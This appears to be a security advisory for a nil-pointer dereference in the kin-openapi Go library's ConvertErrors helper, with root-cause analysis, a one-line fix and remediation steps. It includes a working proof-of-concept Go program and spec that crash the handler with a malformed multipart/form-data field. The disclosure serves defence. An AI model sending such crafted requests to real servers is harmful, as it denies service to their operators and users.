GHSA-mmfr-pmjx-hw9w: Null Pointer Dereference

Published Aug 21, 2026
·
Updated

Summary

A nil-pointer dereference in openapi3filter.ConvertErrors lets any unauthenticated client crash a server with a single HTTP request. When an application validates a multipart/form-data request body and renders the resulting validation error through the library-provided ValidationErrorEncoder / ConvertErrors helpers, a malformed scalar form field (e.g. a non-numeric value for an integer property) produces an error shape that convertParseError dereferences without a nil check. The handler goroutine panics, causing a denial of service. application/json request bodies are not affected — the bug is specific to multipart/form-data.

Details

The panic is in convertParseError, at openapi3filter/validationerrorencoder.go:119-120 (still present on master at the time of writing):

go } else if innerErr.RootCause() != nil { if rootErr, ok := innerErr.Cause.(ParseError); ok && rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { // ❌ e.Parameter may be nil → panic

The comparison e.Parameter.In == "query" assumes e.Parameter is non-nil. It is reached whenever both of the following hold:

1. e.Parameter == nil. A RequestError carries either Parameter (parameter errors) or RequestBody (body errors), never both. ValidateRequestBody builds body errors with only RequestBody set, leaving Parameter nil — see validaterequest.go:326-332. 2. innerErr.Cause is itself a ParseError (a ParseError nested inside a ParseError), so the type assertion on line 119 succeeds and execution reaches the e.Parameter.In dereference on line 120.

The only default code path that satisfies both conditions is the multipart body decoder, which wraps a failed part's ParseError inside another ParseError at reqrespdecoder.go:1549 and :1558:

go if v, ok := err.(ParseError); ok { return nil, &ParseError{path: []any{name}, Cause: v} // v is a ParseError → nested }

Why other paths do not reach the dereference:

| Body content type | Failure mode | RequestError.Err shape | .Cause is ParseError? | e.Parameter | Panics? | |---|---|---|---|---|---| | multipart/form-data | scalar part fails primitive parse (age=notanumber) | ParseError wrapping a ParseError | yes | nil | YES | | application/json | malformed JSON syntax | ParseError whose .Cause is an encoding/json error | no (assertion fails → safe fallback branch) | nil | no | | application/json | wrong type / schema violation | openapi3.SchemaError (routed to convertSchemaError, never reaches convertParseError) | n/a | nil | no | | styled query / path params | invalid format | ParseError wrapping a ParseError | yes | set (non-nil) | no (guard/assignment succeeds) |

Note that the sibling "path" branch two lines above (line 108) already guards correctly with e.Parameter != nil; the "query" branch simply omits the same guard.

Recommended fix. Add the missing nil guard to the condition:

diff if rootErr, ok := innerErr.Cause.(ParseError); ok && - rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { + rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" {

When e.Parameter == nil the inner if is skipped and control falls through to the existing return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason} at line 127-130 — a correct 400 Bad Request. I verified that applying only this one-line guard stops the panic and returns ValidationError{Status: 400}.

Minor follow-up worth including in the same change: for the multipart nested ParseError, the outer ParseError.Reason is empty, so the fallback Title: innerErr.Reason yields a 400 with an empty Title. The descriptive text lives in innerErr.Error() (e.g. "path age: value notanumber: an invalid integer: invalid syntax"). Prefer a non-empty fallback:

go title := innerErr.Reason if title == "" { title = innerErr.Error() } return &ValidationError{Status: http.StatusBadRequest, Title: title}

PoC

Verified against revision 98d956447b64eaa10d3570a80b3be1a2849945f1 (also reproducible on current master), Go 1.25.0.

1. Spec — one operation accepting a multipart/form-data body with a non-string scalar (integer) property:

yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok}

2. Program — validate a request whose age part is non-numeric, then convert the error the way a typical error-rendering middleware does:

go package main

import ( "bytes" "context" "fmt" "mime/multipart" "net/http"

"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )

const spec = openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: age: {type: integer} responses: '200': {description: ok}

func main() { loader := openapi3.NewLoader() doc, := loader.LoadFromData([]byte(spec)) = doc.Validate(loader.Context) router, := gorillamux.NewRouter(doc)

// multipart body: a non-numeric value for the integer property "age" var buf bytes.Buffer w := multipart.NewWriter(&buf) = w.WriteField("age", "notanumber") w.Close()

r, := http.NewRequest(http.MethodPost, "/upload", &buf) r.Header.Set("Content-Type", w.FormDataContentType()) route, pp, := router.FindRoute(r)

reqErr := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Printf("ValidateRequest returned: %T\n", reqErr) // openapi3filter.RequestError

// What an application's error-rendering middleware calls: = openapi3filter.ConvertErrors(reqErr) // panics fmt.Println("no panic (unexpected)") }

3. Observed output (go run .):

ValidateRequest returned: openapi3filter.RequestError panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x2 addr=0x20 pc=0x...]

goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3filter.convertParseError(...) .../openapi3filter/validationerrorencoder.go:120 +0x17c github.com/getkin/kin-openapi/openapi3filter.ConvertErrors(...) .../openapi3filter/validationerrorencoder.go:42 +0xec main.main() ... exit status 2

The panic is at exactly validationerrorencoder.go:120 — the unguarded e.Parameter.In dereference.

Control (confirms JSON is not a vector): repeating the setup with an application/json body and either a malformed body ({"age": ) or a wrong-type body ({"age": "notanumber"}) returns from ConvertErrors normally, with no panic. Only the multipart/form-data path crashes.

In a real HTTP server, ConvertErrors / ValidationErrorEncoder.Encode runs inside the request handler, so the panic aborts the in-flight request (connection reset / 500) and, without a recover() in the middleware chain, is trivially repeatable.

Impact

- Type: Nil-pointer dereference → unauthenticated remote denial of service. - Who is impacted: any application using github.com/getkin/kin-openapi/openapi3filter that (1) exposes an endpoint accepting a multipart/form-data request body with at least one non-string scalar property (integer / number / boolean), and (2) renders validation errors through the library's own ValidationErrorEncoder or ConvertErrors helpers. These are the library's advertised error-rendering helpers, so this is a realistic default integration. - Attack: a single crafted, unauthenticated request (a multipart part whose value doesn't parse to the declared scalar type). No credentials, special privileges, or unusual client capabilities are required, and it is repeatable at will. - Consequence: the handling goroutine panics. Absent a recover() boundary in the application's middleware, the request is aborted; sustained requests deny service. Confidentiality and integrity are not affected. - Not affected: applications that only accept application/json bodies (verified above), applications that do not use ConvertErrors / ValidationErrorEncoder to format errors, or applications that wrap handlers in a recover() (which converts the crash into a handled 500 but still prevents normal error rendering).

Affected Software

1 affected componentFixes available
go/github.com/getkin/kin-openapi>=0.10.0<0.141.0
0.141.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/getkin/kin-openapi to a version that resolves this vulnerability.

    Fixed in 0.141.0
  2. Configuration

    Patch `openapi3filter/validation_error_encoder.go` at the unguarded `e.Parameter.In` dereference (line ~120 in `convertParseError`) by adding the missing nil guard: change the condition to include `e.Parameter != nil` (the `path` branch already guards correctly with `e.Parameter != nil`).

    github.com/getkin/kin-openapi/openapi3filter (validation_error_encoder.go) nil guard condition for query branch = Add `e.Parameter != nil` to the condition `rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query"` so it becomes `rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query"`.

Event History

Aug 21, 2026
Advisory Published
via GitHub·08:55 PM
Data Sourced
via GitHub·08:55 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this denial-of-service condition?

Applications using github.com/getkin/kin-openapi are exposed when they validate multipart/form-data request bodies and pass resulting validation errors to the library-provided ValidationErrorEncoder or ConvertErrors helpers. JSON request bodies are not affected.

2

What request is needed to trigger the crash?

An unauthenticated client can send a single malformed multipart/form-data request containing an invalid scalar field, such as non-numeric input for a property defined as an integer. The resulting validation-error path can dereference a nil parameter and panic the handler goroutine.

3

What is the operational impact of successful exploitation?

The panic causes a denial of service by crashing the server handler goroutine. No confidentiality or integrity impact is described.

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